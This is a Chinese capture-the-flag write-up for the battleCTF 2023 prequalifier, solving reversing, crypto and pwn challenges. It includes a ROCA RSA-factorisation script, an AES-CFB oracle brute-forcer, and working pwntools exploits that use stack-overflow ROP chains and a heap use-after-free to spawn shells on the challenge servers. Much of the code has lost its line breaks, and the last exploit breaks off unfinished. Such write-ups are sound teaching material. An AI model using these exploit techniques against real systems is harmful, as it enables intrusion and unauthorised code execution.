[Africa battleCTF 2023 prequal] CPR部分
非州的比赛,说是总体简单,但也有几个难题0解,估计依然是等不到WP。
这个界面还挺好,除了慢以外没大问题。
Rev

SEYI
题目很简单,程序报病毒,win11上的defender关上不容易呀。我的电脑怎么就不能听我的呢。

Welcome

代码很短,就那么两句,一个简单的运算
a = 0x522D1B20F6
b = 0x1ee2eeee
c = a+b
d = c^0xaa84aaa
bytes.fromhex(hex(d)[2:])
#b'RAVEN'
Infinity
这题出来得晚,又有时差,都没看着就结束了。
反编译后啥都看不出来。然后看汇编。这题还是比较有意思的,原来确实见过不少题在汇编里藏代码,基本都是通过花指令,这个直接在里边放push

这些push会导致栈不平衡,显然有问题,把这些东西拿出来,转下码
>>> p64(0x5f4f7572)
b'ruO_\x00\x00\x00\x00'
>>> p64(0x6c654354)
b'TCel\x00\x00\x00\x00'
>>> p64(0x467b4265)
b'eB{F\x00\x00\x00\x00'
>>> p64(0x796f6e64)
b'dnoy\x00\x00\x00\x00'
>>> p64(0x47616c61)
b'alaG\x00\x00\x00\x00'
>>> p64(0x7869657d)
b'}eix\x00\x00\x00\x00'
>>>
ruO_TCeleB{FdnoyalaG}eix
反转
_Our leCT F{Be yond Gala xie}
手工拼
battleCTF{Beyond_OurGalaxie}
发现他是反着写的,而且是片断,手工拼一下,然后被全,猜下就OK了
这句是超越我们的银河吧,非洲很牛啊
babyrev
代码里有个隐藏段
.hidden:0000000000004040 _hidden segment align_32 public 'DATA' use64
.hidden:0000000000004040 assume cs:_hidden
.hidden:0000000000004040 ;org 4040h
.hidden:0000000000004040 public __TMC_END__
.hidden:0000000000004040 ; char _TMC_END__[]
.hidden:0000000000004040 71 70 69 69 61 74 52 49 55 7B+__TMC_END__ db 'qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}',0Ah,0
.hidden:0000000000004040 50 76 71 70 5F 55 67 74 33 5F+ ; DATA XREF: deregister_tm_clones↑o
.hidden:0000000000004040 55 44 44 53 5F 53 74 6E 5F 64+ ; deregister_tm_clones+7↑o
.hidden:0000000000004040 30 44 21 5F 38 35 38 36 34 72+ ; register_tm_clones↑o
.hidden:0000000000004040 31 32 37 37 71 75 38 31 39 35+ ; register_tm_clones+7↑o
.hidden:0000000000004040 70 71 71 74 70 36 35 34 30 34+ ; main+58↑o
.hidden:0000000000004040 39 34 70 72 34 36 7D 0A 00 _hidden ends
.hidden:0000000000004040
然后随波逐流一键解密
qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46}
caser 15
battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46}
checker
这跟上边是同一题吗?

gfyyqjHYK{Flg4_d0z_i3d_xr0p3_1lg0?}
battleCTF{Agb4_y0u_d3y_sm0k3_1gb0?}
Mazui
两道题差不多。汇编里一堆运算
0: b8 66 9b 20 62 mov eax, 0x62209b665: 35 12 ef 41 00 xor eax, 0x41ef12a: 90 nopb: bb 46 ac 24 6c mov ebx, 0x6c24ac4610: 81 f3 12 ef 41 00 xor ebx, 0x41ef1216: 31 c9 xor ecx, ecx18: b9 23 bc 3a 46 mov ecx, 0x463abc231d: 81 f1 12 ef 41 00 xor ecx, 0x41ef1223: 89 ca mov edx, ecx25: ba 77 83 31 6d mov edx, 0x6d3183772a: 81 f2 12 ef 41 00 xor edx, 0x41ef1230: be 64 80 0c 5f mov esi, 0x5f0c806435: 90 nop36: 81 f6 12 ef 41 00 xor esi, 0x41ef123c: bb 7a bc 2f 49 mov ebx, 0x492fbc7a41: 81 f3 12 ef 41 00 xor ebx, 0x41ef1247: b9 6f 83 2d 65 mov ecx, 0x652d836f4c: 81 f1 12 ef 65 81 xor ecx, 0x8165ef1252: f1 int153: 12 ef adc ch, bh55: 41 inc ecx56: 00 31 add BYTE PTR [ecx], dh58: c0 ff c0 sar bh, 0xc05b: 31 db xor ebx, ebx5d: cd 80 int 0x80
拿出来手工处理一下,(最后一步按代码来没用0x41ef12不对,异或看来是用同一个数)
a = bytes.fromhex(hex(0x62209b66^0x41ef12)[2:])
a += bytes.fromhex(hex(0x6c24ac46^0x41ef12)[2:])
a += bytes.fromhex(hex(0x463abc23^0x41ef12)[2:])
a += bytes.fromhex(hex(0x6d318377^0x41ef12)[2:])
a += bytes.fromhex(hex(0x5f0c8064^0x41ef12)[2:])
a += bytes.fromhex(hex(0x492fbc7a^0x41ef12)[2:])
a += bytes.fromhex(hex(0x652d836f^0x41ef12)[2:])#battleCTF{S1mple_MovInShell}
Crypto

BackToOrigin
埃及字母,手搓后来再改下,原义是 afrecafamely改下加壳即可,
Blind
&?g}-PN(9}P5MAm&?h7^PPOlbIq>h1&?hiR&?i)xPP!xdZ2CY{&?h.0PTrZKO-lrJ&?i*vPR*.wG5SCP&?h>4PQB/jXz
先BASE85再解盲文,在厨子上盲文叫braille

base85
⠃⠁⠞⠞⠇⠑⠉⠞⠋{⠺⠓⠽⠸⠙⠴⠝⠶⠸⠦⠂⠂⠝⠙⠸⠏⠒⠴⠏⠂⠒⠸⠢⠅⠽⠙⠂⠧⠒⠸⠝⠴⠸⠦⠗⠲⠂⠂⠂⠒⠸⠂⠝⠢⠶⠗⠥⠉⠶⠂⠴⠝⠢}
盲文
BATTLECTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5}battleCTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5} <----这个正确
ROCYOU
题目只给了e,n,c,网站问师傅,师傅说roca_attack
from Crypto.Util.number import bytes_to_longFLAG = bytes_to_long(open("flag.txt").read().encode())n = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101
e = 65537c = pow(FLAG, e, n)print(f"c = {c}")#c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504
ROCA_ATTACK 分解方法,第一回听说。按师傅的方法来到网站上搜着两段程序
#sage_functions.py
from sage.all_cmdline import *def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):"""Taken from https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/coppersmith.sageCoppersmith revisited by Howgrave-Grahamfinds a solution if:* b|modulus, b >= modulus^beta , 0 < beta <= 1* |x| < XXMore tunable than sage's builtin coppersmith method, pol.small_roots()"""## init#dd = pol.degree()nn = dd * mm + tt## checks#if not 0 < beta <= 1:raise ValueError("beta should belongs in [0, 1]")if not pol.is_monic():raise ArithmeticError("Polynomial must be monic.")## calculate bounds and display them#"""* we want to find g(x) such that ||g(xX)|| <= b^m / sqrt(n)* we know LLL will give us a short vector v such that:||v|| <= 2^((n - 1)/4) * det(L)^(1/n)* we will use that vector as a coefficient vector for our g(x)* so we want to satisfy:2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)so we can obtain ||v|| < N^(beta*m) / sqrt(n) <= b^m / sqrt(n)(it's important to use N because we might not know b)"""## Coppersmith revisited algo for univariate## change ring of pol and xpolZ = pol.change_ring(ZZ)x = polZ.parent().gen()# compute polynomialsgg = []for ii in range(mm):for jj in range(dd):gg.append((x * XX) ** jj * modulus ** (mm - ii) * polZ(x * XX) ** ii)for ii in range(tt):gg.append((x * XX) ** ii * polZ(x * XX) ** mm)# construct lattice BBB = Matrix(ZZ, nn)for ii in range(nn):for jj in range(ii + 1):BB[ii, jj] = gg[ii][jj]BB = BB.LLL()# transform shortest vector in polynomialnew_pol = 0for ii in range(nn):new_pol += x ** ii * BB[0, ii] / XX ** ii# factor polynomialpotential_roots = new_pol.roots()# test rootsroots = []for root in potential_roots:if root[0].is_integer():result = polZ(ZZ(root[0]))if gcd(modulus, result) >= modulus ** beta:roots.append(ZZ(root[0]))return roots
from sage.all import *
from tqdm import tqdmdef solve(M, n, a, m):# I need to import it in the function otherwise multiprocessing doesn't find it in its contextfrom sage_functions import coppersmith_howgrave_univariatebase = int(65537)# the known part of p: 65537^a * M^-1 (mod N)known = int(pow(base, a, M) * inverse_mod(M, n))# Create the polynom f(x)F = PolynomialRing(Zmod(n), implementation='NTL', names=('x',))(x,) = F._first_ngens(1)pol = x + knownbeta = 0.1t = m+1# Upper bound for the small root x0XX = floor(2 * n**0.5 / M)# Find a small root (x0 = k) using Coppersmith's algorithmroots = coppersmith_howgrave_univariate(pol, n, beta, m, t, XX)# There will be no roots for an incorrect guess of a.for k in roots:# reconstruct p from the recovered kp = int(k*M + pow(base, a, M))if n%p == 0:return p, n//pdef roca(n):keySize = n.bit_length()if keySize <= 960:M_prime = 0x1b3e6c9433a7735fa5fc479ffe4027e13beam = 5elif 992 <= keySize <= 1952:M_prime = 0x24683144f41188c2b1d6a217f81f12888e4e6513c43f3f60e72af8bd9728807483425d1em = 4print("Have you several days/months to spend on this ?")elif 1984 <= keySize <= 3936:M_prime = 0x16928dc3e47b44daf289a60e80e1fc6bd7648d7ef60d1890f3e0a9455efe0abdb7a748131413cebd2e36a76a355c1b664be462e115ac330f9c13344f8f3d1034a02c23396e6m = 7print("You'll change computer before this scripts ends...")elif 3968 <= keySize <= 4096:print("Just no.")return Noneelse:print("Invalid key size: {}".format(keySize))return Nonea3 = Zmod(M_prime)(n).log(65537)order = Zmod(M_prime)(65537).multiplicative_order()inf = a3 // 2sup = (a3 + order) // 2# Search 10 000 values at a time, using multiprocess# too big chunks is slower, too small chunks alsochunk_size = 10000for inf_a in tqdm(range(inf, sup, chunk_size)):# create an array with the parameter for the solve functioninputs = [((M_prime, n, a, m), {}) for a in range(inf_a, inf_a+chunk_size)]# the sage builtin multiprocessing stufffrom sage.parallel.multiprocessing_sage import parallel_iterfrom multiprocessing import cpu_countfor k, val in parallel_iter(cpu_count(), solve, inputs):if val:p = val[0]q = val[1]print("found factorization:\np={}\nq={}".format(p, q))return valif __name__ == "__main__":# Normal values#p = 88311034938730298582578660387891056695070863074513276159180199367175300923113#q = 122706669547814628745942441166902931145718723658826773278715872626636030375109#a = 551658, interval = [475706, 1076306]# won't find if beta=0.5# p = 80688738291820833650844741016523373313635060001251156496219948915457811770063# q = 69288134094572876629045028069371975574660226148748274586674507084213286357069# #a = 176170, interval = [171312, 771912]# n = p*qn = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101# For the test values chosen, a is quite close to the minimal value so the search is not too longroca(n)#https://blog.csdn.net/qq_51999772/article/details/123146784
所n输上,然后在linux下用sage运行,大约10多分钟就得到p,q的分解。
rsa拿到分解也就结束了
'''
┌──(kali㉿kali)-[~/ctf/0624]
└─$ sage -python roca_attack.py66%|████████████████████████████████████████████████████████▍ | 40/61 [19:26<10:11, 29.10s/it]found factorization:
p=127801155916875524149457561567678575565270601000365665873572024750823913157383
q=11391706487197083354703832910647004038825835828146460500661365251891479734974766%|████████████████████████████████████████████████████████▍ | 40/61 [19:39<10:19, 29.48s/it]
'''p=127801155916875524149457561567678575565270601000365665873572024750823913157383
q=113917064871970833547038329106470040388258358281464605006613652518914797349747
c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504
e = 65537
d = inverse_mod(e,(p-1)*(q-1))
m = pow(c,d,n)
bytes.fromhex(hex(m)[2:])
#b'battleCTF{ROCA_shork_me_0x0x0x}\n'
Gooss
结了一个多项式加密的密文,有5个参数
import random
flag = 'battleCTF{******}'
a = random.randint(4,9999999999)
b = random.randint(4,9999999999)
c = random.randint(4,9999999999)
d = random.randint(4,9999999999)
e = random.randint(4,9999999999)enc = []
for x in flag:res = (2*a*pow(ord(x),4)+b*pow(ord(x),3)+c*pow(ord(x),2)+d*ord(x)+e)enc.append(res)
print(enc)enc = [1245115057305148164, 1195140205147730541, 2441940832124642988, 2441940832124642988, 1835524676869638124, 1404473868033353193, 272777109172255911, 672752034376118188, 324890781330979572, 3086023531811583439, 475309634185807521, 1195140205147730541, 2441940832124642988, 1578661367846445708, 2358921859155462327, 1099718459319293547, 773945458916291731, 78288818574073053, 2441940832124642988, 1578661367846445708, 1099718459319293547, 343816904985468003, 1195140205147730541, 2527132076695959961, 2358921859155462327, 2358921859155462327, 1099718459319293547, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 72109063929756364, 2796116718132693772, 3291439457645322417]
头部是已知的battle{,可以列式子用z3求参数,然后就可以爆破了
from z3 import *s = Solver()
a,b,c,d,e = Ints('a b c d e')
s.add(And(a>=4, a<=9999999999))
s.add(And(b>=4, b<=9999999999))
s.add(And(c>=4, c<=9999999999))
s.add(And(d>=4, d<=9999999999))
s.add(And(e>=4, e<=9999999999))s.add(2*a*98**4 + b*98**3 + c*98**2 + d*98 + e == enc[0]) #b
s.add(2*a*97**4 + b*97**3 + c*97**2 + d*97 + e == enc[1]) #a
s.add(2*a*116**4 + b*116**3 + c*116**2 + d*116 + e == enc[2]) #t
s.add(2*a*108**4 + b*108**3 + c*108**2 + d*108 + e == enc[4]) #l
s.add(2*a*101**4 + b*101**3 + c*101**2 + d*101 + e == enc[5]) #es.check()
s.model()a = 6709636436
c = 7386429784
b = 7748795321
d = 62359624
e = 5008041292for v in enc:for i in range(0x20, 0x7f):if 2*a*i**4 + b*i**3 + c*i**2 + d*i + e == v:print(chr(i), end='')#battleCTF{Maths_W1th_Gauss_0x0x0x}
SEA
又一个头回见的题AES_CFB爆破
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandomiv = urandom(16)
key = urandom(16)
FLAG = b"battleCTF{REDACTED}"def encrypt(data):cipher = AES.new(key, AES.MODE_CFB, iv)return cipher.encrypt(pad(data, 16))print(encrypt(FLAG).hex())
while True:print(encrypt(input("> ").encode()).hex())
提供了密文和加密攻击。
CFB方式先将iv加密然后与明文异或得到密文,但是默认情况下只使用这8bit,然后下一段加密又得到8位
如果直接输入密文便能得到第1个字节然后把第1字节改为明文就能得到第2字节,但由于这时输入没有用hex所以输入bytes会有问题。所以换了个角度,爆破k字节明文,然后与得到第k字节密文比较,相同则正确。这样一个个爆破下去就OK了
因为网站上搜到的图都看不懂,浪费不少时间,一点点试才知道这么容易。
from pwn import *p = remote('chall.battlectf.online', 20001)
#context.log_level = 'debug'enc = bytes.fromhex(p.recvline().decode().strip())[:-1]
#v = enc
flag = b''
while flag[-1:] != b'}':fl = len(flag)for i in range(0x20,0x7f):p.sendlineafter(b'>', flag + bytes([i]))v = bytes.fromhex(p.recvline().decode().strip())if v[fl] == enc[fl]:flag += bytes([i])print(flag)break#battleCTF{m057_f4m0us_AES_0x0x0x}
Sahara
给了一堆代码,还写成pem其实就是个简单的RSA
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
from base64 import b64encode, b64decodeFLAG = open("flag.txt").read()def load_public_key():with open('pub.pem', 'rb') as pubf:pubkey = serialization.load_pem_public_key(pubf.read(), backend=default_backend())return pubkeydef encrypt(pubkey:rsa.RSAPublicKey, ptxt:str) -> str:enc = pubkey.encrypt(ptxt.encode(), padding.PKCS1v15())return b64encode(enc).decode()def get_pem(key:rsa.RSAPrivateKey|rsa.RSAPublicKey):if isinstance(key, rsa.RSAPublicKey):pem = key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo)else:pem = key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption())return pemif __name__ == '__main__':pub_key = load_public_key()pub_key_pem = get_pem(pub_key).decode()enc_flag = encrypt(pub_key, FLAG)with open('flag.enc', 'w') as f:f.write(enc_flag)
解开这个公钥,原来n是个安全平方数
n = 17729028558979019485846420034614601781855286885772116033115998289130663218793249135103097941406615594783564487056148202535602218241261076180277862184340050681277512936764254998557657989633659561175844653871375735119626199870178796372816549333367076487655787617921785826120525919291798195591267544750350222858119219959311035913906885739352404726672836723117136379411134589884489391116922923390687958161705756705708668649262568471831705504852664779788943978721769038284989250803324876493071615384204553854811020877754034576798208169454695001947778015807032019651748938505463608871771494765303144219873993106068807291321
e = 65537
enc = 'QrjGSaOn4vUMNLAWdKif3s0pTi3vjDupP764AqUV13FtO+0MVO5m848H1THn33Lorn5vhDOtr5x3kJBHP8lfPbgvoiw7n/FdhjjyclAlB4JLANUgLIjvurvMfFshuvsg3ljXnpNu+oVET/AgDev1hJp9CrbQ+8Axx9ki4ZRldqC/eUbzypqeun2jjKjMi98GamW6ufnZSxtJwajWLK6dHB72Dcx4sn38iHnqikRixOaUeJ6jR2yhdIYhQr4nU5tggHoxsLjnia8x4qTc4lWYAYz6vJiw1zRs0JwK//sZdEtx09c59Mj0WNrmkD8gP98f22LjHNPIxAHl3OyWY+PfcA=='from gmpy2 import iroot
from Crypto.Util.number import *
from base64 import *
p = iroot(n,2)[0]
d = invert(e, p*(p-1))
m = pow(bytes_to_long(b64decode(enc),d,n)
long_to_bytes(m)
#battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}
Own e
这个未完成,首先是模求不出来,可以输入不同的e,这些e会生成稍有不同的m,然后用rsa加密。如果能求出n来就有办法了。可惜,不成!
from Crypto.Util.number import getPrime
from os import urandomdef message(secret, e):m = f'The invite token is {secret.hex()} and it is encrypted with e = {e}.'.encode()return int.from_bytes(m, 'big')def encrypt(data):out = []i = 0for pin in data:out.append((int(pin) + 5)^i)i+=1return outdef main():flag = open("flag.txt").read()p = getPrime(1024)q = getPrime(1024)n = p * qsecret = urandom(64)for _ in range(3):e = int(input("\nEnter your e: "))if e == 1: raise Exception('send me better values!')m = message(secret, e)c = encrypt(str(pow(m, e, n)))print(f'c = {c}')guess = input("Enter your invite code:")if secret != bytes.fromhex(guess): raise Exception('incorrect Invite code!')print(f'\nFLAG :{flag}')if __name__ == '__main__':try:main()except:print('better luck next time!')
PWN
国外不大重视PWN题,总体比较简单

Black Rop
32位,给了原码,一共4个测试通过即可,32位栈传参结构是 fun,ret,arg1,arg2... 由于下一步的ret会使传参混乱,所以ret这一般是按arg的数量写pop
//gcc -m32 -no-pie rop_black.c -o rop_black#include
#include int check_file = 0;
int african = 0;
int invite_code = 0;
int capcha = 0;void read_flag(){if(!(check_file && african && invite_code && capcha)) {printf("403|You aren't allowed to read the flag!\n");exit(1);}char flag[65];FILE * f = fopen("flag.txt","r");if (f == NULL){printf("flag.txt doesn't exist, try again on the server\n");exit(0);}fgets( flag, 65, f );printf("%s\n",flag);fflush(stdout);
}void check_flag(char* file) {if(strcmp(file, "flag.txt") == 0) {check_file = 1;}
}void check_african() {african = 1;
}void check_invitecode(int code) {if(code == 0xbae) {invite_code = 1;}
}void check_capcha(int login, int auth) {if(login == 0x062023 && auth == 0xbf1212) {capcha = 1;}
}void vuln()
{char buffer[10];printf("check your identity and read the flag.\n");gets(buffer);
}int main(){vuln();
}
from pwn import *p = remote('chall.battlectf.online', 1004)
#p = process('./rop_black')
context(arch='i386', log_level = 'debug')pop4 = 0x080493e8 # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
pop1 = 0x0804901e # pop ebx ; ret
pop2 = 0x080493ea # pop edi ; pop ebp ; ret
pop3 = 0x080493e9 # pop esi ; pop edi ; pop ebp ; ret#gdb.attach(p, "b*0x804936a\nc")pay = b'A'*0x12+ flat(0, 0x80492ce, 0x8049293, pop1, 0x804a033, 0x80492e8, pop1, 0xbae, 0x804930b, pop2, 0x62023 , 0xBF1212, 0x80491c2)
p.sendlineafter(b"check your identity and read the flag.\n", pay)
p.recvline()
p.interactive()
AM1
同样是给了源码
//gcc -o am1 am1.c -no-pie
#include
#include void print_file(char * file)
{char buffer[20];FILE * inputFile = fopen( file, "r" );if ( inputFile == NULL ) {printf( "Cannot open file %s\n", file );exit( -1 );}fgets( buffer, 65, inputFile );printf("Output: %s",buffer);
}int main(){puts("Welcome to Africa battleCTF.");puts("Tell us something about you: ");char buf[0x30];gets( buf );return 0;
}
溢出到file但需要一个参数,这里要先读文件名到bss
from pwn import *p = remote('chall.battlectf.online', 1003)
#p = process('./am1')
context(arch='amd64', log_level = 'debug')#gdb.attach(p, "b*0x40121f\nc")elf = ELF('./am1')
pop_rdi = 0x000000000040128b # pop rdi ; ret
p.sendlineafter(b"Tell us something about you: \n", b'A'*0x30 + flat(0, pop_rdi, 0x404800, elf.plt['gets'], pop_rdi, 0x404800, elf.sym['print_file']))
p.sendline(b'flag.txt\x00')
p.recvline()
p.interactive()
youpi
同样是有后门,但后门有检查,直接跳到后门后边即可。
// gcc -o youpi youpi.c
#include
#include int check = 0;void youpiii(){if(check){char buffer[20];FILE * inputFile = fopen("flag.txt", "r" );if ( inputFile == NULL ) {printf( "Cannot open file flag.txt\n" );exit( -1 );}fgets( buffer, 65, inputFile );printf("FLAG: %s",buffer);}}void main(){puts("Welcome to Africa battleCTF.");puts("Tell us about your country: ");char buf[0x30];gets( buf );
}
from pwn import *p = remote('chall.battlectf.online', 1005)
#p = process('./youpi')
context(arch='amd64', log_level = 'debug')#gdb.attach(p, "b*0x40121f\nc")elf = ELF('./youpi')p.sendlineafter(b": \n", b'A'*0x30 + flat(0x404800, 0x401188))
p.recvline()
p.interactive()
#battleCTF{Right_jump_860332b9b9c47839ec975f0ecb32a51e}
AXOVI
这回没给源码,但基本还是一样,有 system,就是少处/bin/sh需要调用一下gets读到bss
int __cdecl main(int argc, const char **argv, const char **envp)
{char v4[48]; // [rsp+0h] [rbp-30h] BYREFsystem("echo 'Welcome to Africa battleCTF.\nTell us something about : '");gets(v4, argv);return 0;
}
from pwn import *#p = process('./axovi')
p = remote('chall.battlectf.online', 1002)
context(arch='amd64', log_level='debug')elf = ELF('./axovi')
pop_rdi = 0x00000000004011bb # pop rdi ; retp.sendline(b'a'*0x30+ flat(0, pop_rdi, 0x404800, elf.plt['gets'], pop_rdi, 0x404800, elf.plt['system']))
p.sendline(b'/bin/sh\x00')p.interactive()
#battleCTF{ROP_sw33t_R0P}
battleCTF Event
又给了源码,一个64位的乘法,因为有溢出并且恰好没有逆,所以不能直接算
#include
#include int main(){long pass;puts("Welcome to battleCTF Event portal.");printf("Enter you invite code to participe:");scanf("%s",&pass);if(pass * 0x726176656e70776eu == 0x407045989b3284aeu){execl("/bin/sh", "sh", 0);}elseputs("\nWrong password ..!");return 0;
}
这个z3可以算
a = 0x407045989b3284ae
b = 0x726176656e70776e
from z3 import *
v = BitVec('v', 64)
s = Solver()
s.add(v*b == a)
s.check()
#sat
s.model()
#[v = 7959954447263493729]
v = 7959954447263493729
hex(v*b)
#'0x315b3e6591f610b0407045989b3284ae'
然后输入即可
from pwn import *
p = remote('chall.battlectf.online', 1001)
p.sendlineafter(b':' ,p64(7959954447263493729))
p.interactive()
Danxome
一个堆题,一个管理块跟一个数据块,free里未清指针有UAF
#include
#include
#include #define MINON_SIZE 10
#define MAX_NAME_SIZE 0x40typedef struct Awhouangan Awhouangan;
typedef struct Gbeto Gbeto;
typedef struct Minon Minon;
typedef void (*speakFunc)(char*);enum MinonType {AWHOUANGAN,GBETO
};struct Minon
{speakFunc speak;enum MinonType type;char* name;
};struct Danxome
{int numOfMinon;Minon* minons[MINON_SIZE];
} danxome = { .numOfMinon = 0 };void Nawi() {system("/bin/sh");
}void print(char* str) {system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'");printf(": %s\n", str);
}void speak(char* name) {print(name);
}void init() {setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);setvbuf(stderr, 0, 2, 0);alarm(60);
}int menu() {int choice = -1;print("Welcome to Danxome Military zone !!!");print("1) Add Minon");print("2) Remove Minon");print("3) Report Minon Name");print("0) Exit");while (1) {printf("> ");scanf("%d", &choice);if (choice >= 0 && choice < 5) {break;}printf("??\n");}printf("\n");return choice;
}void add_minon() {int choice;int size;int idx;Minon* minon;if (danxome.numOfMinon >= MINON_SIZE) {print("[ERROR] The Military zone is full.");return;}for (idx = 0; idx < MINON_SIZE; idx++) {if (danxome.minons[idx] == NULL) {break;}}minon = (Minon*) malloc(sizeof(Minon));print("Type of Minon?");print("1) Awhouangan");print("2) Gbeto");while (1) {printf("> ");scanf("%d", &choice);if (choice == 1) {minon->type = AWHOUANGAN;break;} if (choice == 2) {minon->type = GBETO;break;}printf("??\n");}minon->speak = speak;print("How long is the name? (max: 64 characters)"); while (1) {printf("> ");scanf("%d", &size);if (size >= 0 && size < MAX_NAME_SIZE) {minon->name = (char*) malloc(size);break;} printf("??\n");}print("Name of minon?");printf("> ");read(0, minon->name, size);danxome.minons[idx] = minon;printf("> [DEBUG] Minon is added to Military zone %d\n", idx);danxome.numOfMinon++;
}void remove_minon() {int choice;if (danxome.numOfMinon <= 0) {print("[ERROR] No minon in the Military zone.");return;}print("Zone number? (0-9)");while (1) {printf("> ");scanf("%d", &choice);if (choice >= 0 && choice < MINON_SIZE) {break;}printf("??\n");}if (danxome.minons[choice] == NULL) {print("[ERROR] No minon in this zone.");return;}free(danxome.minons[choice]->name);free(danxome.minons[choice]); #uafprintf("> [DEBUG] Minon is removed from zone %d\n", choice);danxome.numOfMinon--;
}void report_name() {int choice;if (danxome.numOfMinon <= 0) {print("[ERROR] No minon in the Military zone.");return;}print("Zone number? (0-9)");while (1) {printf("> ");scanf("%d", &choice);if (choice >= 0 && choice < MINON_SIZE) {break;}printf("??\n");}if (danxome.minons[choice] == NULL) {print("[ERROR] No minon in this zone.");return;}danxome.minons[choice]->speak(danxome.minons[choice]->name);
}int main(int argc, char const *argv[]) {int leave = 0;init();while(!leave) {switch (menu()) {case 1:add_minon();break;case 2:remove_minon();break;case 3:report_name();break;default:leave = 1;}printf("\n");}return 0;
}
建俩块(数据块与管理块不同)free后再建数据块与管理块相同的块,数据块就会使用UAF管理块,写上后门(这里不光有system,还有bin/sh)
from pwn import *#p = process('./minon')
p = remote('chall.battlectf.online', 1006)
context(arch='amd64', log_level='debug')elf = ELF('./minon')def add(size, msg):p.sendlineafter(b'> ', b'1')p.sendlineafter(b'> ', b'1')p.sendlineafter(b'> ', str(size).encode())p.sendafter(b'> ', msg)def free(idx):p.sendlineafter(b'> ', b'2')p.sendlineafter(b'> ', str(idx).encode())def show(idx):p.sendlineafter(b'> ', b'3')p.sendlineafter(b'> ', str(idx).encode())add(0x20, b'/bin/sh\x00')
add(0x30, b'/bin/sh\x00')
free(0)
free(1)
add(0x18, flat(elf.plt['system'],0, 0x402008))#gdb.attach(p)
#pause()show(0)p.interactive()
#battleCTF{Heap_Naw!_p0w3r_e39d10e4d30e61cd613dd75a698d3d94}
Danxome2
这次把数据块的大小固定与数据块相同,当释放后再申请会按原来的顺序申请回来,不能直接控制管理块。
#include
#include
#include #define MINON_SIZE 10
//#define MAX_NAME_SIZE 0x40typedef struct Awhouangan Awhouangan;
typedef struct Gbeto Gbeto;
typedef struct Minon Minon;
typedef void (*speakFunc)(char*);enum MinonType {AWHOUANGAN,GBETO
};struct Minon
{speakFunc speak;enum MinonType type;char* name;
};struct Danxome
{int numOfMinon;Minon* minons[MINON_SIZE];
} danxome = { .numOfMinon = 0 };void print(char* str) {system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'");printf(": %s\n", str);
}void speak(char* name) {print(name);
}void init() {setvbuf(stdin, 0, 2, 0);setvbuf(stdout, 0, 2, 0);setvbuf(stderr, 0, 2, 0);alarm(60);
}int menu() {int choice = -1;print("Welcome to Danxome Military zone !!!");print("1) Add Minon");print("2) Remove Minon");print("3) Report Minon Name");print("0) Exit");while (1) {printf("> ");scanf("%d", &choice);if (choice >= 0 && choice < 5) {break;}printf("??\n");}printf("\n");return choice;
}void add_minon() {int choice;int size;int idx;Minon* minon;if (danxome.numOfMinon >= MINON_SIZE) {print("[ERROR] The Military zone is full.");return;}for (idx = 0; idx < MINON_SIZE; idx++) {if (danxome.minons[idx] == NULL) {break;}}minon = (Minon*) malloc(sizeof(Minon));print("Type of Minon?");print("1) Awhouangan");print("2) Gbeto");while (1) {printf("> ");scanf("%d", &choice);if (choice == 1) {minon->type = AWHOUANGAN;break;} if (choice == 2) {minon->type = GBETO;break;}printf("??\n");}minon->speak = speak;minon->name = (char*) malloc(0x18);print("Name of minon?");printf("> ");read(0, minon->name, 0x18);danxome.minons[idx] = minon;printf("> [DEBUG] Minon is added to Military zone %d\n", idx);danxome.numOfMinon++;
}void remove_minon() {int choice;if (danxome.numOfMinon <= 0) {print("[ERROR] No minon in the Military zone.");return;}print("Zone number? (0-9)");while (1) {printf("> ");scanf("%d", &choice);if (choice >= 0 && choice < MINON_SIZE) {break;}printf("??\n");}if (danxome.minons[choice] == NULL) {print("[ERROR] No minon in this zone.");return;}free(danxome.minons[choice]->name);free(danxome.minons[choice]);printf("> [DEBUG] Minon is removed from zone %d\n", choice);danxome.numOfMinon--;
}void report_name() {int choice;if (danxome.numOfMinon <= 0) {print("[ERROR] No minon in the Military zone.");return;}print("Zone number? (0-9)");while (1) {printf("> ");scanf("%d", &choice);if (choice >= 0 && choice < MINON_SIZE) {break;}printf("??\n");}if (danxome.minons[choice] == NULL) {print("[ERROR] No minon in this zone.");return;}danxome.minons[choice]->speak(danxome.minons[choice]->name);
}int main(int argc, char const *argv[]) {int leave = 0;init();while(!leave) {switch (menu()) {case 1:add_minon();break;case 2:remove_minon();break;case 3:report_name();break;default:leave = 1;}printf("\n");}return 0;
}
根据上题猜安的libc版本比较高有tcache,这时释放7个以后第8个会进入fastbin,再申请时使用tcache的块,就会形成错位。然后同上
from pwn import *#p = process('./minon2')
p = remote('chall.battlectf.online', 1007)
